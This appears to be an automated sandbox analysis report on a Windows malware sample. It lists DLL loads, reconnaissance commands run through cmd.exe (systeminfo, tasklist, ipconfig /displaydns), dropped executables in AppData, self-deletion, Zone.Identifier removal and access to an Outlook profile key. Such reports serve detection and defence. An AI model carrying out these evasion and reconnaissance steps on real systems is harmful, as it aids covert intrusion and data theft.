Source: C:\Windows\explorer.exe	Section loaded: wininet.dll
Source: C:\Windows\explorer.exe	Section loaded: uxtheme.dll
Source: C:\Windows\explorer.exe	Section loaded: dwmapi.dll
Source: C:\Windows\explorer.exe	Section loaded: sspicli.dll
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\explorer.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\explorer.exe	Section loaded: ntmarta.dll
Source: C:\Windows\explorer.exe	Section loaded: cryptsp.dll
Source: C:\Windows\explorer.exe	Section loaded: wldp.dll
Source: C:\Windows\explorer.exe	Section loaded: iertutil.dll
Source: C:\Windows\explorer.exe	Section loaded: srvcli.dll
Source: C:\Windows\explorer.exe	Section loaded: netutils.dll
Source: C:\Windows\explorer.exe	Section loaded: umpdc.dll
Source: C:\Windows\explorer.exe	Section loaded: dnsapi.dll
Source: C:\Windows\explorer.exe	Section loaded: winhttp.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: aepic.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: twinapi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: powrprof.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dxgi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: coremessaging.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dwmapi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: ntmarta.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: umpdc.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\explorer.exe	Section loaded: aepic.dll
Source: C:\Windows\explorer.exe	Section loaded: twinapi.dll
Source: C:\Windows\explorer.exe	Section loaded: userenv.dll
Source: C:\Windows\explorer.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\explorer.exe	Section loaded: powrprof.dll
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\explorer.exe	Section loaded: dxgi.dll
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\explorer.exe	Section loaded: propsys.dll
Source: C:\Windows\explorer.exe	Section loaded: coremessaging.dll
Source: C:\Windows\explorer.exe	Section loaded: urlmon.dll
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\explorer.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\explorer.exe	Section loaded: wininet.dll
Source: C:\Windows\explorer.exe	Section loaded: uxtheme.dll
Source: C:\Windows\explorer.exe	Section loaded: dwmapi.dll
Source: C:\Windows\explorer.exe	Section loaded: sspicli.dll
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\explorer.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\explorer.exe	Section loaded: ntmarta.dll
Source: C:\Windows\explorer.exe	Section loaded: cryptsp.dll
Source: C:\Windows\explorer.exe	Section loaded: wldp.dll
Source: C:\Windows\explorer.exe	Section loaded: iertutil.dll
Source: C:\Windows\explorer.exe	Section loaded: srvcli.dll
Source: C:\Windows\explorer.exe	Section loaded: netutils.dll
Source: C:\Windows\explorer.exe	Section loaded: umpdc.dll
Source: C:\Windows\explorer.exe	Section loaded: dnsapi.dll
Source: C:\Windows\explorer.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\ipconfig.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\ipconfig.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\ipconfig.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\ipconfig.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\ROUTE.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\ROUTE.EXE	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\ROUTE.EXE	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\ROUTE.EXE	Section loaded: dnsapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ifmon.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mprapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasmontr.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpuclnt.dll

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{603D3801-BD81-11d0-A3A5-00C04FD706EC}\InProcServer32

Jump to behavior

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\systeminfo.exe systeminfo

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\tasklist.exe tasklist /v /fo csv

Source: C:\Windows\SysWOW64\explorer.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: C:\Users\user\Desktop\ctMI3TYXpX.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: ctMI3TYXpX.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\ctMI3TYXpX.exe	Unpacked PE file: 0.2.ctMI3TYXpX.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.saxaxi:R;.losucu:R;.rasiye:W;.rsrc:R; vs .text:EW;
Source: C:\Users\user\AppData\Roaming\jghruer	Unpacked PE file: 5.2.jghruer.400000.0.unpack .text:ER;.rdata:R;.data:W;.saxaxi:R;.losucu:R;.rasiye:W;.rsrc:R; vs .text:EW;
Source: C:\Users\user\AppData\Local\Temp\35DB.exe	Unpacked PE file: 6.2.35DB.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.dilafav:R;.heciw:R;.hirezep:W;.rsrc:R; vs .text:EW;
Source: C:\Users\user\AppData\Roaming\hdhruer	Unpacked PE file: 8.2.hdhruer.400000.0.unpack .text:ER;.rdata:R;.data:W;.dilafav:R;.heciw:R;.hirezep:W;.rsrc:R; vs .text:EW;

Source: C:\Users\user\AppData\Local\Temp\B972.exe

9_2_00007FF6F2D63220

Source: ctMI3TYXpX.exe	Static PE information: section name: .saxaxi
Source: ctMI3TYXpX.exe	Static PE information: section name: .losucu
Source: ctMI3TYXpX.exe	Static PE information: section name: .rasiye
Source: 35DB.exe.1.dr	Static PE information: section name: .dilafav
Source: 35DB.exe.1.dr	Static PE information: section name: .heciw
Source: 35DB.exe.1.dr	Static PE information: section name: .hirezep
Source: hdhruer.1.dr	Static PE information: section name: .dilafav
Source: hdhruer.1.dr	Static PE information: section name: .heciw
Source: hdhruer.1.dr	Static PE information: section name: .hirezep
Source: jghruer.1.dr	Static PE information: section name: .saxaxi
Source: jghruer.1.dr	Static PE information: section name: .losucu
Source: jghruer.1.dr	Static PE information: section name: .rasiye

Source: C:\Users\user\Desktop\ctMI3TYXpX.exe	Code function: 0_2_004014D9 pushad ; ret	0_2_004014E9
Source: C:\Users\user\Desktop\ctMI3TYXpX.exe	Code function: 0_2_004031DB push eax; ret	0_2_004032AB
Source: C:\Users\user\Desktop\ctMI3TYXpX.exe	Code function: 0_2_004B1540 pushad ; ret	0_2_004B1550
Source: C:\Users\user\Desktop\ctMI3TYXpX.exe	Code function: 0_2_00507372 push esp; ret	0_2_00507374
Source: C:\Users\user\Desktop\ctMI3TYXpX.exe	Code function: 0_2_00506212 pushfd ; iretd	0_2_00506213
Source: C:\Users\user\Desktop\ctMI3TYXpX.exe	Code function: 0_2_00505715 push B63524ADh; retn 001Fh	0_2_0050574C
Source: C:\Users\user\AppData\Roaming\jghruer	Code function: 5_2_00531540 pushad ; ret	5_2_00531550
Source: C:\Users\user\AppData\Roaming\jghruer	Code function: 5_2_00595E32 pushfd ; iretd	5_2_00595E33
Source: C:\Users\user\AppData\Roaming\jghruer	Code function: 5_2_00595335 push B63524ADh; retn 001Fh	5_2_0059536C
Source: C:\Users\user\AppData\Roaming\jghruer	Code function: 5_2_00596F92 push esp; ret	5_2_00596F94
Source: C:\Users\user\AppData\Local\Temp\35DB.exe	Code function: 6_2_00402842 pushad ; retf F6A4h	6_2_004029D1
Source: C:\Users\user\AppData\Local\Temp\35DB.exe	Code function: 6_2_00401065 pushfd ; retf	6_2_0040106A
Source: C:\Users\user\AppData\Local\Temp\35DB.exe	Code function: 6_2_00402805 push 21CACAEFh; iretd	6_2_0040280A
Source: C:\Users\user\AppData\Local\Temp\35DB.exe	Code function: 6_2_00402511 push ebp; iretd	6_2_00402523
Source: C:\Users\user\AppData\Local\Temp\35DB.exe	Code function: 6_2_00403325 push eax; ret	6_2_004033F3
Source: C:\Users\user\AppData\Local\Temp\35DB.exe	Code function: 6_2_00403433 pushad ; ret	6_2_004035AB
Source: C:\Users\user\AppData\Local\Temp\35DB.exe	Code function: 6_2_00401182 push esp; retf	6_2_0040118E
Source: C:\Users\user\AppData\Local\Temp\35DB.exe	Code function: 6_2_00402A9D pushad ; retf	6_2_00402AAB
Source: C:\Users\user\AppData\Local\Temp\35DB.exe	Code function: 6_2_004012B7 push cs; iretd	6_2_004012B8
Source: C:\Users\user\AppData\Local\Temp\35DB.exe	Code function: 6_2_005B2578 push ebp; iretd	6_2_005B258A
Source: C:\Users\user\AppData\Local\Temp\35DB.exe	Code function: 6_2_005B286C push 21CACAEFh; iretd	6_2_005B2871
Source: C:\Users\user\AppData\Local\Temp\35DB.exe	Code function: 6_2_005B131E push cs; iretd	6_2_005B131F
Source: C:\Users\user\AppData\Local\Temp\35DB.exe	Code function: 6_2_005B2B04 pushad ; retf	6_2_005B2B12
Source: C:\Users\user\AppData\Local\Temp\35DB.exe	Code function: 6_2_005B10CC pushfd ; retf	6_2_005B10D1
Source: C:\Users\user\AppData\Local\Temp\35DB.exe	Code function: 6_2_005B11E9 push esp; retf	6_2_005B11F5
Source: C:\Users\user\AppData\Roaming\hdhruer	Code function: 8_2_00402842 pushad ; retf F6A4h	8_2_004029D1
Source: C:\Users\user\AppData\Roaming\hdhruer	Code function: 8_2_00401065 pushfd ; retf	8_2_0040106A
Source: C:\Users\user\AppData\Roaming\hdhruer	Code function: 8_2_00402805 push 21CACAEFh; iretd	8_2_0040280A
Source: C:\Users\user\AppData\Roaming\hdhruer	Code function: 8_2_00402511 push ebp; iretd	8_2_00402523
Source: C:\Users\user\AppData\Roaming\hdhruer	Code function: 8_2_00403325 push eax; ret	8_2_004033F3
Source: C:\Users\user\AppData\Roaming\hdhruer	Code function: 8_2_00403433 pushad ; ret	8_2_004035AB

Persistence and Installation Behavior

Uses ipconfig to lookup or modify the Windows network settings

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\ipconfig.exe ipconfig /displaydns

Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\B972.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\35DB.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\jghruer	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\hdhruer	Jump to dropped file

Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\hdhruer			Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\jghruer			Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Deletes itself after installation

Source: C:\Windows\explorer.exe

File deleted: c:\users\user\desktop\ctmi3tyxpx.exe

Jump to behavior

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Roaming\jghruer:Zone.Identifier read attributes \| delete			Jump to behavior
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Roaming\hdhruer:Zone.Identifier read attributes \| delete			Jump to behavior

Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B972.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
